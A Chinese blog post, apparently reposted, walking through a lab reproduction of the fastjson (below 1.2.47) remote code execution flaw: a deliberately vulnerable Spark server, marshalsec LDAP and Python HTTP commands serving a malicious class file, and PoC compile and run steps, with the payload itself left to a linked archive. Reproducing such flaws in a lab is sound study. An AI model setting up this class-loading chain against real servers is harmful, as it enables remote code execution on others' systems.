fastjson<1.2.47 RCE 漏洞復現


這兩天爆出了 fastjson 的老洞,復現簡單記錄一下。

首先使用 spark 搭建一個簡易的利用 fastjson 解析 json 的 http server。

package cn.hacktech.fastjsonserver;

import com.alibaba.fastjson.JSON;
import static spark.Spark.*;

public class Main {
    public static void main(String[] args) {
        get("/hello", (req, res) -> "spark server start success");
        post("/test", (req, res) -> {
            String payload = req.body();
            JSON.parse(payload);
            return "json payload:" + payload;
        });
    }
}

編譯出來后,啟動這個 jar,在 /test 這個 post 點即可 post json payload。

然后這里分兩類:

  1. 如果只是想檢測漏洞是否存在,可以使用 dnslog 去檢測
  2. 利用的話,需要自己起一個惡意的 ldap 或者 rmi 服務

本機需要起一個 LDAP 服務和 http 服務

poc-->LDAP-->http

poc 會通過上面的路徑去請求你的 http 服務上面的對應的 class 文件然后去解析執行這個 class

啟動 LDAP 用的 marshalsec,會比較方便。

  1. 在本目錄下啟動 http server 在 80 端口
python -m http.server 80
  1. 啟動 LDAP 服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit

后面的 Exploit 是指 Exploit.class 文件

  1. 運行 PoC,它會請求 LDAP 服務,或者直接把 json payload post 到 /test
java -cp fastjson-1.2.47.jar; PoC

其中代碼編譯的話,直接執行 javac the.java 即可,不過 PoC.java 的編譯需要引入 fastjson jar 包,運行 javac -cp ./fastjson-1.2.47.jar PoC.java

具體的細節可見代碼打包文件

復現遇到一些坑

這次的這個洞是有 jdk 版本要求的。

最開始我在我本機測試通過,原因是因為它請求不到 class 的時候會去本目錄下進行一個查找,也就是並沒有經過 http 服務器。

所以想要復現這個漏洞的話,需要 target 主機上面的 jdk 版本有嚴格的要求,具體見下圖

所以建議復現流程是

建議復現流程

  1. 起一個虛擬機專門用來運行我寫的那個簡易的 fastjsonserver,或者你可以直接在虛擬機上面執行 PoC,關鍵在於 target 機器的 jdk 版本。
  2. 你可以在本機起 ldap/rmi 服務以及 http 服務,或者全部在虛擬機上運行也可以,但是一般真實情況下我們是在外部構造惡意的 ldap/rmi 以及 http server,所以建議這步放到虛擬機外運行。
  3. 根據你的網絡環境修改 PoC。
  4. 然后 post payload 或者運行 PoC,即可看到虛擬機上彈出了計算器。

低版本的java 8u112
鏈接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取碼: 36mm

復現視頻鏈接復現流程.zip


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM